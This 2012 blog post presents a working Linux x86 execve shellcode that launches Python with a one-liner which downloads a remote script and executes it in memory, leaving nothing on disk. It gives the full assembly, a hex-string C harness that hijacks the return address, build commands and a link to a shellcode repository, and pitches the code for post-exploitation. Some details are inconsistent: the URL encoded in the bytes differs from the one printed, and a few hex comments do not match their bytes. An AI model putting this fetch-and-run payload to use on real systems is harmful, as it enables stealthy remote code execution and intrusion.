Thursday, May 17, 2012

Linux/x86 Execve Python Interpreter with a Python Program Passed in as String Shellcode

About a month ago, Phrack magazine #68 was released and a linux x86 shellcode (bindshell-tcp-fork.s) that I wrote a few years ago got mentioned in one of the articles.
This made me feel nostalgic and I have decided to pack all the shellcodes that I have written over the years into a tarball (linux_x86_shellcodes.tar.gz) and re-publish it.
The feedback I got was great, and it inspired me to go and write a new shellcode. So, I did.
I have written a new linux x86 execve() shellcode that executes the Python interpreter with a Python program passed in as string.

Why calling Python and not /bin/sh you ask? Because Python script makes it easier to customize and/or automate a penetration testing (especially post exploitation).
Python is a cross-platform programming language with a decent standard library, and is known to run on almost any operating system or hardware platform.
A Python script can query the OS, CPU, HOSTNAME, and even IP address, and based on this information to call different functions and/or use different parameters.
Shell script, as good as it may be, is still dependent on various binaries to be installed beforehand to be able to run successfully. Also, shell scripts are not cross-platform.

Let's have a look on how it works. Here's the shellcode source code:
.section .text
.global _start
_start:
        push  $0xb
        pop   %eax
        cdq
        push  %edx
        push  $0x20292763
        push  $0x65786527
        push  $0x2c273e67
        push  $0x6e697274
        push  $0x733c272c
        push  $0x29286461
        push  $0x65722e29
        push  $0x2779702e
        push  $0x646c726f
        push  $0x776f6c6c
        push  $0x65682f32
        push  $0x34323834
        push  $0x3639322f
        push  $0x752f6d6f
        push  $0x632e786f
        push  $0x62706f72
        push  $0x642e6c64
        push  $0x2f2f3a70
        push  $0x74746827
        push  $0x286e6570
        push  $0x6f6c7275
        push  $0x2e326269
        push  $0x6c6c7275
        push  $0x28656c69
        push  $0x706d6f63
        push  $0x20636578
        push  $0x653b3262
        push  $0x696c6c72
        push  $0x75207472
        push  $0x6f706d69
        mov   %esp, %esi
        push  %edx
        pushw $0x632d
        mov   %esp, %ecx
        push  %edx
        push  $0x6e6f6874
        push  $0x79702f6e
        push  $0x69622f72
        push  $0x73752f2f
        mov   %esp,%ebx
        push  %edx
        push  %esi
        push  %ecx
        push  %ebx
        mov   %esp,%ecx
        int   $0x80
What the shellcode does is call execve() syscall with '/usr/bin/python' as the filename argument, and '-c' and a one-line Python program as the argv array argument.
There's no need for a cleanup code, as execve() does not return on success, and the text, data, bss, and stack of the calling process are overwritten by that of the program loaded.

Here is the Python one-line program source code:
import urllib2 ; exec compile(urllib2.urlopen('http://ikotler.org/helloworld.py').read(), '<string>', 'exec')
What the Python program does is import the urllib2 library and use it to retrieve a Python script from a remote Web server, and then compiles and executes it on the fly.
More to it, The retrieved Python script remains in memory the whole time. The Python program does all of the above without writing any data to the hard drive.

Here is the retrieved Python script (i.e. helloworld.py) source code:
print "Hello, world"
Depending on the nature of the retrieved Python script, it might be enough to just use eval() instead of exec and compile() combination in the one-line Python program.
In this case, print is a statement in Python 2.x and as such it can not be evaluated using eval(). in Python 3, print() is a function and can be evaluated using eval().
If in doubt, always use the exec and compile() combination.

To compile the shellcode source and test it:
$ as -o python-execve-urllib2-exec.o python-execve-urllib2-exec.s
$ ld -o python-execve-urllib2-exec python-execve-urllib2-exec.o
$ ./python-execve-urllib2-exec
The output should be:
Hello, world
Here is the shellcode represented as a hex string within a C program:
char shellcode[] =

        "\x6a\x0b"              // push  $0xb
        "\x58"                  // pop   %eax
        "\x99"                  // cdq
        "\x52"                  // push  %edx
        "\x68\x63\x27\x29\x20"  // push  $0x20292763
        "\x68\x27\x65\x78\x65"  // push  $0x65786527
        "\x68\x67\x3e\x27\x2c"  // push  $0x2c273e67
        "\x68\x74\x72\x69\x6e"  // push  $0x6e697274
        "\x68\x2c\x27\x3c\x73"  // push  $0x733c272c
        "\x68\x61\x64\x28\x29"  // push  $0x29286461
        "\x68\x29\x2e\x72\x65"  // push  $0x65722e29
        "\x68\x2e\x70\x79\x27"  // push  $0x2779702e
        "\x68\x6f\x72\x6c\x64"  // push  $0x646c726f
        "\x68\x6c\x6c\x6f\x77"  // push  $0x776f6c6c
        "\x68\x32\x2f\x68\x65"  // push  $0x65682f32
        "\x68\x34\x38\x32\x34"  // push  $0x34323834
        "\x68\x2f\x32\x39\x36"  // push  $0x3639322f
        "\x68\x6f\x6d\x2f\x75"  // push  $0x752f6d6f
        "\x68\x6f\x78\x2e\x63"  // push  $0x632e786f
        "\x68\x72\x6f\x70\x62"  // push  $0x62706f72
        "\x68\x64\x6c\x2e\x64"  // push  $0x642e6c64
        "\x68\x70\x3a\x2f\x2f"  // push  $0x2f2f3a70
        "\x68\x27\x68\x74\x74"  // push  $0x74746827
        "\x68\x70\x65\x6e\x28"  // push  $0x286e6570
        "\x68\x75\x72\x6c\x6f"  // push  $0x6f6c7275
        "\x68\x69\x62\x32\x2e"  // push  $0x696c6c72
        "\x68\x75\x72\x6c\x6c"  // push  $0x6c6c7275
        "\x68\x69\x6c\x65\x28"  // push  $0x28656c69
        "\x68\x63\x6f\x6d\x70"  // push  $0x706d6f63
        "\x68\x78\x65\x63\x20"  // push  $0x20636578
        "\x68\x62\x32\x3b\x65"  // push  $0x653b3262
        "\x68\x72\x6c\x6c\x69"  // push  $0x696c6c72
        "\x68\x72\x74\x20\x75"  // push  $0x75207472
        "\x68\x69\x6d\x70\x6f"  // push  $0x6f706d69
        "\x89\xe6"              // mov   %esp,%esi
        "\x52"                  // push  %edx
        "\x66\x68\x2d\x63"      // pushw $0x632d
        "\x89\xe1"              // mov   %esp,%ecx
        "\x52"                  // push  %edx
        "\x68\x74\x68\x6f\x6e"  // push  $0x6e6f6874
        "\x68\x6e\x2f\x70\x79"  // push  $0x79702f6e
        "\x68\x72\x2f\x62\x69"  // push  $0x69622f72
        "\x68\x2f\x2f\x75\x73"  // push  $0x73752f2f
        "\x89\xe3"              // mov   %esp,%ebx
        "\x52"                  // push  %edx
        "\x56"                  // push  %esi
        "\x51"                  // push  %ecx
        "\x53"                  // push  %ebx
        "\x89\xe1"              // mov   %esp, %ecx
        "\xcd\x80";             // int   $0x80

int main(int argc, char **argv) {
        int *ret;
        ret = (int *)&ret + 2;
        (*ret) = (int) shellcode;
}
Again, to run and test it is as easy as:
$ gcc -o python-execve-urllib2-exec python-execve-urllib2-exec.c
$ ./python-execve-urllib2-exec 
The output should be the same:
Hello, world
Now, I have also decided to open a GitHub repository to host the collection of shellcodes that I have written in the past, as well as any that I may write in the future.
I have committed both .S, and .C versions of this shellcode to it, as well as the rest of the shellcodes from the tarball.

The repository can be found at: https://github.com/ikotler/shellcode

Feel free to fork, and if you wish, to submit a pull-request and fix bug or suggest a change.

No comments:

Post a Comment